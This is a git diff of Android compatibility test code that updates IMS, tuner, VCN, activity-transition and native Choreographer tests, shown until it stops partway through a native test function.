--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
@@ -80,20 +80,22 @@
                 ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
                         manager, (m) -> m.createSipDelegate(delegateRequest, Runnable::run, this,
                                 this), ImsException.class,
-                        "android.permission.MODIFY_PHONE_STATE"));
+                        "android.permission.PERFORM_IMS_SINGLE_REGISTRATION"));
     }
 
     public void disconnect(SipDelegateManager manager, int reason) throws Exception {
         ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
                 manager, (m) -> m.destroySipDelegate(connection, reason),
-                ImsException.class, "android.permission.MODIFY_PHONE_STATE");
+                ImsException.class,
+                "android.permission.PERFORM_IMS_SINGLE_REGISTRATION");
     }
 
     public void triggerFullNetworkRegistration(SipDelegateManager manager, int sipCode,
             String sipReason) throws Exception {
         ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(
                 manager, (m) -> m.triggerFullNetworkRegistration(connection, sipCode, sipReason),
-                ImsException.class, "android.permission.MODIFY_PHONE_STATE");
+                ImsException.class,
+                "android.permission.PERFORM_IMS_SINGLE_REGISTRATION");
     }
 
     @Override
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/UceActivity.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/UceActivity.java
new file mode 100644
index 0000000..5b631ec
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/UceActivity.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.SurfaceView;
+import android.view.ViewGroup;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * The Activity to run the UCE APIs verification in the foreground.
+ */
+public class UceActivity extends Activity {
+
+    public static final String ACTION_FINISH = "android.telephony.ims.cts.action_finish";
+
+    private static CountDownLatch sCountDownLatch;
+
+    public static void setCountDownLatch(CountDownLatch countDownLatch) {
+        sCountDownLatch = countDownLatch;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        SurfaceView mSurfaceView = new SurfaceView(this);
+        mSurfaceView.setWillNotDraw(false);
+        mSurfaceView.setZOrderOnTop(true);
+        setContentView(mSurfaceView,
+                new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT,
+                        ViewGroup.LayoutParams.MATCH_PARENT));
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        if (sCountDownLatch != null) {
+            sCountDownLatch.countDown();
+        }
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        if (ACTION_FINISH.equals(intent.getAction())) {
+            finish();
+            sCountDownLatch = null;
+        }
+    }
+}
diff --git a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
index 2301438..c20165f 100644
--- a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
@@ -343,6 +343,68 @@
         PollingCheck.waitFor(() -> !mActivity.isActivityTransitionRunning());
     }
 
+    @Test
+    public void testTwiceForwardTwiceBack() throws Throwable {
+        enterScene(R.layout.scene1);
+        assertFalse(mActivity.isActivityTransitionRunning());
+
+        // A -> B
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.getWindow().setExitTransition(new Fade());
+            Intent intent = new Intent(mActivity, TargetActivity.class);
+            intent.putExtra(TargetActivity.EXTRA_USE_ANIMATOR, true);
+            ActivityOptions activityOptions =
+                    ActivityOptions.makeSceneTransitionAnimation(mActivity);
+            mActivity.startActivity(intent, activityOptions.toBundle());
+        });
+
+        assertTrue(mActivity.isActivityTransitionRunning());
+
+        TargetActivity targetActivity = waitForTargetActivity();
+        assertTrue(targetActivity.isActivityTransitionRunning());
+        mActivityRule.runOnUiThread(() -> { });
+        PollingCheck.waitFor(5000, () -> !targetActivity.isActivityTransitionRunning());
+
+        // B -> C
+        mActivityRule.runOnUiThread(() -> {
+            targetActivity.getWindow().setExitTransition(new Fade());
+            Intent intent = new Intent(targetActivity, TargetActivity.class);
+            intent.putExtra(TargetActivity.EXTRA_USE_ANIMATOR, true);
+            ActivityOptions activityOptions =
+                    ActivityOptions.makeSceneTransitionAnimation(targetActivity);
+            targetActivity.startActivity(intent, activityOptions.toBundle());
+        });
+
+        assertTrue(targetActivity.isActivityTransitionRunning());
+
+        TargetActivity targetActivity2 = waitForTargetActivity2();
+        assertTrue(targetActivity2.isActivityTransitionRunning());
+        mActivityRule.runOnUiThread(() -> { });
+        PollingCheck.waitFor(5000, () -> !targetActivity2.isActivityTransitionRunning());
+
+        // C -> B
+        mActivityRule.runOnUiThread(() -> {
+            targetActivity2.finishAfterTransition();
+            // The target activity transition should start right away
+            assertTrue(targetActivity2.isActivityTransitionRunning());
+        });
+
+        // The source activity transition should start sometime later
+        PollingCheck.waitFor(() -> targetActivity.isActivityTransitionRunning());
+        PollingCheck.waitFor(() -> !targetActivity.isActivityTransitionRunning());
+
+        // B -> A
+        mActivityRule.runOnUiThread(() -> {
+            targetActivity.finishAfterTransition();
+            // The target activity transition should start right away
+            assertTrue(targetActivity.isActivityTransitionRunning());
+        });
+
+        // The source activity transition should start sometime later
+        PollingCheck.waitFor(() -> mActivity.isActivityTransitionRunning());
+        PollingCheck.waitFor(() -> !mActivity.isActivityTransitionRunning());
+    }
+
     // Views that are excluded from the exit/enter transition shouldn't change visibility
     @Test
     public void untargetedViews() throws Throwable {
@@ -498,6 +560,23 @@
         return activity[0];
     }
 
+    private TargetActivity waitForTargetActivity2() throws Throwable {
+        verify(TargetActivity.sCreated, within(3000)).add(any());
+        TargetActivity[] activity = new TargetActivity[1];
+        mActivityRule.runOnUiThread(() -> {
+            assertEquals(2, TargetActivity.sCreated.size());
+            activity[0] = TargetActivity.sCreated.get(1);
+        });
+        assertTrue("There was no draw call", activity[0].drawnOnce.await(3, TimeUnit.SECONDS));
+        mActivityRule.runOnUiThread(() -> {
+            activity[0].getWindow().getDecorView().invalidate();
+        });
+        mActivityRule.runOnUiThread(() -> {
+            assertTrue(activity[0].preDrawCalls > 1);
+        });
+        return activity[0];
+    }
+
     private Set<Integer> getTargetViewIds(TargetTracking transition) {
         return transition.getTrackedTargets().stream()
                 .map(v -> v.getId())
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
index 3bb174c..7870e43 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
@@ -348,6 +348,31 @@
     }
 
     @Test
+    public void testFrontendToCiCam() throws Exception {
+        // tune to get frontend resource
+        List<Integer> ids = mTuner.getFrontendIds();
+        assertFalse(ids.isEmpty());
+        FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
+        int res = mTuner.tune(createFrontendSettings(info));
+        assertEquals(Tuner.RESULT_SUCCESS, res);
+
+        if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
+            // TODO: get real CiCam id from MediaCas
+            res = mTuner.connectFrontendToCiCam(0);
+        } else {
+            assertEquals(Tuner.INVALID_LTS_ID, mTuner.connectFrontendToCiCam(0));
+        }
+
+        if (res != Tuner.INVALID_LTS_ID) {
+            assertEquals(mTuner.disconnectFrontendToCiCam(0), Tuner.RESULT_SUCCESS);
+        } else {
+            // Make sure the connectFrontendToCiCam only fails because the current device
+            // does not support connecting frontend to cicam
+            assertEquals(mTuner.disconnectFrontendToCiCam(0), Tuner.RESULT_UNAVAILABLE);
+        }
+    }
+
+    @Test
     public void testAvSyncId() throws Exception {
     // open filter to get demux resource
         Filter f = mTuner.openFilter(
@@ -376,9 +401,9 @@
         assertNotNull(f);
         assertNotEquals(Tuner.INVALID_FILTER_ID, f.getId());
         if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
-            assertNotEquals(Tuner.INVALID_FILTER_ID_64BIT, f.getId64Bit());
+            assertNotEquals(Tuner.INVALID_FILTER_ID_LONG, f.getIdLong());
         } else {
-            assertEquals(Tuner.INVALID_FILTER_ID_64BIT, f.getId64Bit());
+            assertEquals(Tuner.INVALID_FILTER_ID_LONG, f.getIdLong());
         }
 
         Settings settings = SectionSettingsWithTableInfo
@@ -527,12 +552,14 @@
     public void testOpenDvrRecorder() throws Exception {
         DvrRecorder d = mTuner.openDvrRecorder(100, getExecutor(), getRecordListener());
         assertNotNull(d);
+        d.close();
     }
 
     @Test
     public void testOpenDvPlayback() throws Exception {
         DvrPlayback d = mTuner.openDvrPlayback(100, getExecutor(), getPlaybackListener());
         assertNotNull(d);
+        d.close();
     }
 
     @Test
diff --git a/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java b/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
index 8f2c3a6..b92f079 100644
--- a/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
+++ b/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
@@ -18,12 +18,24 @@
 
 import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.ipsec.ike.SaProposal.DH_GROUP_2048_BIT_MODP;
+import static android.net.ipsec.ike.SaProposal.ENCRYPTION_ALGORITHM_AES_GCM_12;
+import static android.net.ipsec.ike.SaProposal.PSEUDORANDOM_FUNCTION_AES128_XCBC;
 
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assume.assumeTrue;
 
 import android.content.Context;
+import android.net.ConnectivityManager;
+import android.net.ipsec.ike.ChildSaProposal;
+import android.net.ipsec.ike.IkeFqdnIdentification;
+import android.net.ipsec.ike.IkeSaProposal;
+import android.net.ipsec.ike.IkeSessionParams;
+import android.net.ipsec.ike.SaProposal;
+import android.net.ipsec.ike.TunnelModeChildSessionParams;
 import android.net.vcn.VcnConfig;
+import android.net.vcn.VcnControlPlaneIkeConfig;
 import android.net.vcn.VcnGatewayConnectionConfig;
 import android.net.vcn.VcnManager;
 import android.os.ParcelUuid;
@@ -50,12 +62,14 @@
     private final VcnManager mVcnManager;
     private final SubscriptionManager mSubscriptionManager;
     private final TelephonyManager mTelephonyManager;
+    private final ConnectivityManager mConnectivityManager;
 
     public VcnManagerTest() {
         mContext = InstrumentationRegistry.getContext();
         mVcnManager = mContext.getSystemService(VcnManager.class);
         mSubscriptionManager = mContext.getSystemService(SubscriptionManager.class);
         mTelephonyManager = mContext.getSystemService(TelephonyManager.class);
+        mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
     }
 
     @Before
@@ -64,8 +78,43 @@
     }
 
     private VcnConfig buildVcnConfig() {
+        final IkeSaProposal ikeProposal =
+                new IkeSaProposal.Builder()
+                        .addEncryptionAlgorithm(
+                                ENCRYPTION_ALGORITHM_AES_GCM_12, SaProposal.KEY_LEN_AES_128)
+                        .addDhGroup(DH_GROUP_2048_BIT_MODP)
+                        .addPseudorandomFunction(PSEUDORANDOM_FUNCTION_AES128_XCBC)
+                        .build();
+
+        final String serverHostname = "2001:db8:1::100";
+        final String testLocalId = "test.client.com";
+        final String testRemoteId = "test.server.com";
+        final byte[] psk = "psk".getBytes();
+
+        // TODO: b/180521384: Build the IkeSessionParams without a Context when the no-arg
+        // IkeSessionParams.Builder constructor is exposed.
+        final IkeSessionParams ikeParams =
+                new IkeSessionParams.Builder(mContext)
+                        .setServerHostname(serverHostname)
+                        .addSaProposal(ikeProposal)
+                        .setLocalIdentification(new IkeFqdnIdentification(testLocalId))
+                        .setRemoteIdentification(new IkeFqdnIdentification(testRemoteId))
+                        .setAuthPsk(psk)
+                        .build();
+
+        final ChildSaProposal childProposal =
+                new ChildSaProposal.Builder()
+                        .addEncryptionAlgorithm(
+                                ENCRYPTION_ALGORITHM_AES_GCM_12, SaProposal.KEY_LEN_AES_128)
+                        .build();
+        final TunnelModeChildSessionParams childParams =
+                new TunnelModeChildSessionParams.Builder().addSaProposal(childProposal).build();
+
+        final VcnControlPlaneIkeConfig controlConfig =
+                new VcnControlPlaneIkeConfig(ikeParams, childParams);
+
         final VcnGatewayConnectionConfig gatewayConnConfig =
-                new VcnGatewayConnectionConfig.Builder()
+                new VcnGatewayConnectionConfig.Builder(controlConfig)
                         .addExposedCapability(NET_CAPABILITY_INTERNET)
                         .addRequiredUnderlyingCapability(NET_CAPABILITY_INTERNET)
                         .setRetryInterval(
@@ -84,11 +133,23 @@
 
     @Test(expected = SecurityException.class)
     public void testSetVcnConfig_noCarrierPrivileges() throws Exception {
+        // TODO: b/180521384: Remove the assertion when constructing IkeSessionParams does not
+        // require an active default network.
+        assertNotNull(
+                "You must have an active network connection to complete CTS",
+                mConnectivityManager.getActiveNetwork());
+
         mVcnManager.setVcnConfig(new ParcelUuid(UUID.randomUUID()), buildVcnConfig());
     }
 
     @Test
     public void testSetVcnConfig_withCarrierPrivileges() throws Exception {
+        // TODO: b/180521384: Remove the assertion when constructing IkeSessionParams does not
+        // require an active default network.
+        assertNotNull(
+                "You must have an active network connection to complete CTS",
+                mConnectivityManager.getActiveNetwork());
+
         final int dataSubId = SubscriptionManager.getDefaultDataSubscriptionId();
         CarrierPrivilegeUtils.withCarrierPrivileges(mContext, dataSubId, () -> {
             SubscriptionGroupUtils.withEphemeralSubscriptionGroup(mContext, dataSubId, (subGrp) -> {
diff --git a/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp b/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
index fbf9f9a..6206418 100644
--- a/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
+++ b/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
@@ -17,20 +17,21 @@
 
 #include <android/choreographer.h>
 #include <android/looper.h>
-
 #include <jni.h>
 #include <sys/time.h>
 #include <time.h>
 
 #include <chrono>
+#include <cmath>
 #include <cstdlib>
 #include <cstring>
 #include <mutex>
 #include <set>
 #include <sstream>
+#include <string>
 #include <thread>
 
-#define LOG_TAG "ChoreographerNative"
+#define LOG_TAG "ChoreographerNativeTest"
 
 #define ASSERT(condition, format, args...) \
         if (!(condition)) { \
@@ -45,18 +46,35 @@
 static constexpr std::chrono::nanoseconds DELAY_PERIOD{NOMINAL_VSYNC_PERIOD * 5};
 static constexpr std::chrono::nanoseconds ZERO{std::chrono::nanoseconds::zero()};
 
+struct {
+    struct {
+        jclass clazz;
+        jmethodID checkRefreshRateIsCurrentAndSwitch;
+    } choreographerNativeTest;
+} gJni;
+
 static std::mutex gLock;
 static std::set<int64_t> gSupportedRefreshPeriods;
 struct Callback {
     Callback(const char* name): name(name) {}
-    const char* name;
+    std::string name;
     int count{0};
     std::chrono::nanoseconds frameTime{0LL};
 };
 
 struct RefreshRateCallback {
     RefreshRateCallback(const char* name): name(name) {}
-    const char* name;
+    std::string name;
+    int count{0};
+    std::chrono::nanoseconds vsyncPeriod{0LL};
+};
+
+struct RefreshRateCallbackWithDisplayManager {
+    RefreshRateCallbackWithDisplayManager(const char* name, JNIEnv* env, jobject clazz)
+          : name(name), env(env), clazz(clazz) {}
+    std::string name;
+    JNIEnv* env;
+    jobject clazz;
     int count{0};
     std::chrono::nanoseconds vsyncPeriod{0LL};
 };
@@ -79,6 +97,17 @@
     cb->vsyncPeriod = std::chrono::nanoseconds{vsyncPeriodNanos};
 }
 
+static void refreshRateCallbackWithDisplayManager(int64_t vsyncPeriodNanos, void* data) {
+    std::lock_guard<std::mutex> _l(gLock);
+    RefreshRateCallbackWithDisplayManager* cb =
+            static_cast<RefreshRateCallbackWithDisplayManager*>(data);
+    cb->count++;
+    cb->vsyncPeriod = std::chrono::nanoseconds{vsyncPeriodNanos};
+    cb->env->CallVoidMethod(cb->clazz,
+                            gJni.choreographerNativeTest.checkRefreshRateIsCurrentAndSwitch,
+                            static_cast<int>(std::round(1e9f / cb->vsyncPeriod.count())));
+}
+
 static std::chrono::nanoseconds now() {
     return std::chrono::steady_clock::now().time_since_epoch();
 }
@@ -98,15 +127,15 @@
     free(msg);
 }
 
-static void verifyCallback(JNIEnv* env, Callback* cb, int expectedCount,
+static void verifyCallback(JNIEnv* env, const Callback& cb, int expectedCount,
                            std::chrono::nanoseconds startTime, std::chrono::nanoseconds maxTime) {
     std::lock_guard<std::mutex> _l{gLock};
-    ASSERT(cb->count == expectedCount, "Choreographer failed to invoke '%s' %d times - actual: %d",
-            cb->name, expectedCount, cb->count);
+    ASSERT(cb.count == expectedCount, "Choreographer failed to invoke '%s' %d times - actual: %d",
+           cb.name.c_str(), expectedCount, cb.count);
     if (maxTime > ZERO) {
-        auto duration = cb->frameTime - startTime;
+        auto duration = cb.frameTime - startTime;
         ASSERT(duration < maxTime, "Callback '%s' has incorrect frame time in invocation %d",
-                cb->name, expectedCount);
+               cb.name.c_str(), expectedCount);
     }
 }
 
@@ -120,25 +149,27 @@
     return ss.str();
 }
 
-static void verifyRefreshRateCallback(JNIEnv* env, RefreshRateCallback* cb, int expectedMin) {
+template <class T>
+static void verifyRefreshRateCallback(JNIEnv* env, const T& cb, int expectedMin) {
     std::lock_guard<std::mutex> _l(gLock);
-    ASSERT(cb->count >= expectedMin, "Choreographer failed to invoke '%s' %d times - actual: %d",
-            cb->name, expectedMin, cb->count);
+    ASSERT(cb.count >= expectedMin, "Choreographer failed to invoke '%s' %d times - actual: %d",
+           cb.name.c_str(), expectedMin, cb.count);
     // Unfortunately we can't verify the specific vsync period as public apis
     // don't provide a guarantee that we adhere to a particular refresh rate.
     // The best we can do is check that the reported period is contained in the
-    // set of suppoted periods.
-    ASSERT(cb->vsyncPeriod > ZERO,
-            "Choreographer failed to report a nonzero refresh period invoking '%s'",
-            cb->name);
-    ASSERT(gSupportedRefreshPeriods.count(cb->vsyncPeriod.count()) > 0,
-           "Choreographer failed to report a supported refresh period invoking '%s': supported periods: %s, actual: %lu",
-            cb->name, dumpSupportedRefreshPeriods().c_str(), cb->vsyncPeriod.count());
+    // set of supported periods.
+    ASSERT(cb.vsyncPeriod > ZERO,
+           "Choreographer failed to report a nonzero refresh period invoking '%s'",
+           cb.name.c_str());
+    ASSERT(gSupportedRefreshPeriods.count(cb.vsyncPeriod.count()) > 0,
+           "Choreographer failed to report a supported refresh period invoking '%s': supported "
+           "periods: %s, actual: %lu",
+           cb.name.c_str(), dumpSupportedRefreshPeriods().c_str(), cb.vsyncPeriod.count());
 }
 
-static void resetRefreshRateCallback(RefreshRateCallback* cb) {
+static void resetRefreshRateCallback(RefreshRateCallback& cb) {
     std::lock_guard<std::mutex> _l(gLock);
-    cb->count = 0;
+    cb.count = 0;
 }
 
 static jlong android_view_cts_ChoreographerNativeTest_getChoreographer(JNIEnv*, jclass) {
@@ -162,24 +193,24 @@
 static void android_view_cts_ChoreographerNativeTest_testPostCallback64WithoutDelayEventuallyRunsCallback(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    Callback* cb1 = new Callback("cb1");
-    Callback* cb2 = new Callback("cb2");
+    Callback cb1("cb1");
+    Callback cb2("cb2");
     auto start = now();
 
-    AChoreographer_postFrameCallback64(choreographer, frameCallback64, cb1);
-    AChoreographer_postFrameCallback64(choreographer, frameCallback64, cb2);
+    AChoreographer_postFrameCallback64(choreographer, frameCallback64, &cb1);
+    AChoreographer_postFrameCallback64(choreographer, frameCallback64, &cb2);
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 3);
 
     verifyCallback(env, cb1, 1, start, NOMINAL_VSYNC_PERIOD * 3);
     verifyCallback(env, cb2, 1, start, NOMINAL_VSYNC_PERIOD * 3);
     {
         std::lock_guard<std::mutex> _l{gLock};
-        auto delta = cb2->frameTime - cb1->frameTime;
+        auto delta = cb2.frameTime - cb1.frameTime;
         ASSERT(delta == ZERO || delta > ZERO && delta < NOMINAL_VSYNC_PERIOD * 2,
                 "Callback 1 and 2 have frame times too large of a delta in frame times");
     }
 
-    AChoreographer_postFrameCallback64(choreographer, frameCallback64, cb1);
+    AChoreographer_postFrameCallback64(choreographer, frameCallback64, &cb1);
     start = now();
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 3);
     verifyCallback(env, cb1, 2, start, NOMINAL_VSYNC_PERIOD * 3);
@@ -189,11 +220,11 @@
 static void android_view_cts_ChoreographerNativeTest_testPostCallback64WithDelayEventuallyRunsCallback(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    Callback* cb1 = new Callback("cb1");
+    Callback cb1 = Callback("cb1");
     auto start = now();
 
     auto delay = std::chrono::duration_cast<std::chrono::milliseconds>(DELAY_PERIOD).count();
-    AChoreographer_postFrameCallbackDelayed64(choreographer, frameCallback64, cb1, delay);
+    AChoreographer_postFrameCallbackDelayed64(choreographer, frameCallback64, &cb1, delay);
 
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 3);
     verifyCallback(env, cb1, 0, start, ZERO);
@@ -205,16 +236,16 @@
 static void android_view_cts_ChoreographerNativeTest_testPostCallbackWithoutDelayEventuallyRunsCallback(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    Callback* cb1 = new Callback("cb1");
-    Callback* cb2 = new Callback("cb2");
+    Callback cb1("cb1");
+    Callback cb2("cb2");
     auto start = now();
     const auto delay = NOMINAL_VSYNC_PERIOD * 3;
     // Delay calculations are known to be broken on 32-bit systems (overflow),
     // so we skip testing the delay on such systems by setting this to ZERO.
     const auto delayToTest = sizeof(long) == sizeof(int64_t) ? delay : ZERO;
 
-    AChoreographer_postFrameCallback(choreographer, frameCallback, cb1);
-    AChoreographer_postFrameCallback(choreographer, frameCallback, cb2);
+    AChoreographer_postFrameCallback(choreographer, frameCallback, &cb1);
+    AChoreographer_postFrameCallback(choreographer, frameCallback, &cb2);
     std::this_thread::sleep_for(delay);
 
     verifyCallback(env, cb1, 1, start, delayToTest);
@@ -224,12 +255,12 @@
     // part of the test on systems known to be broken.
     if (sizeof(long) == sizeof(int64_t)) {
         std::lock_guard<std::mutex> _l{gLock};
-        auto delta = cb2->frameTime - cb1->frameTime;
+        auto delta = cb2.frameTime - cb1.frameTime;
         ASSERT(delta == ZERO || delta > ZERO && delta < NOMINAL_VSYNC_PERIOD * 2,
                 "Callback 1 and 2 have frame times too large of a delta in frame times");
     }
 
-    AChoreographer_postFrameCallback(choreographer, frameCallback, cb1);
+    AChoreographer_postFrameCallback(choreographer, frameCallback, &cb1);
     start = now();
     std::this_thread::sleep_for(delay);
 
@@ -245,11 +276,11 @@
     }
 
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    Callback* cb1 = new Callback("cb1");
+    Callback cb1("cb1");
     auto start = now();
 
     auto delay = std::chrono::duration_cast<std::chrono::milliseconds>(DELAY_PERIOD).count();
-    AChoreographer_postFrameCallbackDelayed(choreographer, frameCallback, cb1, delay);
+    AChoreographer_postFrameCallbackDelayed(choreographer, frameCallback, &cb1, delay);
 
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 3);
     verifyCallback(env, cb1, 0, start, ZERO);
@@ -263,12 +294,12 @@
 static void android_view_cts_ChoreographerNativeTest_testPostCallbackMixedWithoutDelayEventuallyRunsCallback(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    Callback* cb1 = new Callback("cb1");
-    Callback* cb64 = new Callback("cb64");
+    Callback cb1("cb1");
+    Callback cb64("cb64");
     auto start = now();
 
-    AChoreographer_postFrameCallback(choreographer, frameCallback, cb1);
-    AChoreographer_postFrameCallback64(choreographer, frameCallback64, cb64);
+    AChoreographer_postFrameCallback(choreographer, frameCallback, &cb1);
+    AChoreographer_postFrameCallback64(choreographer, frameCallback64, &cb64);
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 3);
 
     verifyCallback(env, cb1, 1, start, ZERO);
@@ -278,12 +309,12 @@
     // part of the test on systems known to be broken.
     if (sizeof(long) == sizeof(int64_t)) {
         std::lock_guard<std::mutex> _l{gLock};
-        auto delta = cb64->frameTime - cb1->frameTime;
+        auto delta = cb64.frameTime - cb1.frameTime;
         ASSERT(delta == ZERO || delta > ZERO && delta < NOMINAL_VSYNC_PERIOD * 2,
                 "Callback 1 and 2 have frame times too large of a delta in frame times");
     }
 
-    AChoreographer_postFrameCallback64(choreographer, frameCallback64, cb64);
+    AChoreographer_postFrameCallback64(choreographer, frameCallback64, &cb64);
     start = now();
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 3);
     verifyCallback(env, cb1, 1, start, ZERO);
@@ -293,13 +324,13 @@
 static void android_view_cts_ChoreographerNativeTest_testPostCallbackMixedWithDelayEventuallyRunsCallback(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    Callback* cb1 = new Callback("cb1");
-    Callback* cb64 = new Callback("cb64");
+    Callback cb1("cb1");
+    Callback cb64("cb64");
     auto start = now();
 
     auto delay = std::chrono::duration_cast<std::chrono::milliseconds>(DELAY_PERIOD).count();
-    AChoreographer_postFrameCallbackDelayed(choreographer, frameCallback, cb1, delay);
-    AChoreographer_postFrameCallbackDelayed64(choreographer, frameCallback64, cb64, delay);
+    AChoreographer_postFrameCallbackDelayed(choreographer, frameCallback, &cb1, delay);
+    AChoreographer_postFrameCallbackDelayed64(choreographer, frameCallback64, &cb64, delay);
 
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 3);
     verifyCallback(env, cb1, 0, start, ZERO);
@@ -315,84 +346,84 @@
 static void android_view_cts_ChoreographerNativeTest_testRefreshRateCallback(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    RefreshRateCallback* cb = new RefreshRateCallback("cb");
+    RefreshRateCallback cb("cb");
 
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb);
 
     // Give the display system time to push an initial callback.
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 10);
-    verifyRefreshRateCallback(env, cb, 1);
-    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb, 1);
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb);
 }
 
 static void android_view_cts_ChoreographerNativeTest_testUnregisteringRefreshRateCallback(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    RefreshRateCallback* cb1 = new RefreshRateCallback("cb1");
-    RefreshRateCallback* cb2 = new RefreshRateCallback("cb2");
+    RefreshRateCallback cb1("cb1");
+    RefreshRateCallback cb2("cb2");
 
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb1);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb1);
 
     // Give the display system time to push an initial callback.
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 10);
-    verifyRefreshRateCallback(env, cb1, 1);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb1, 1);
 
-    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb1);
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb1);
     // Flush out pending callback events for the callback
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 10);
     resetRefreshRateCallback(cb1);
 
-    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, cb2);
+    AChoreographer_registerRefreshRateCallback(choreographer, refreshRateCallback, &cb2);
     // Verify that cb2 is called on registration, but not cb1.
     std::this_thread::sleep_for(NOMINAL_VSYNC_PERIOD * 10);
-    verifyRefreshRateCallback(env, cb1, 0);
-    verifyRefreshRateCallback(env, cb2, 1);
-    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb2);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb1, 0);
+    verifyRefreshRateCallback<RefreshRateCallback>(env, cb2, 1);
+    AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, &cb2);
 }
 
 static void android_view_cts_ChoreographerNativeTest_testMultipleRefreshRateCallbacks(
         JNIEnv* env, jclass, jlong choreographerPtr) {
     AChoreographer* choreographer = reinterpret_cast<AChoreographer*>(choreographerPtr);
-    RefreshRateCallback* cb1 = new RefreshRateCallback("cb1");
-    RefreshRateCallback* cb2 = new RefreshRateCallback("cb2");
+    RefreshRateCallback cb1("cb1");
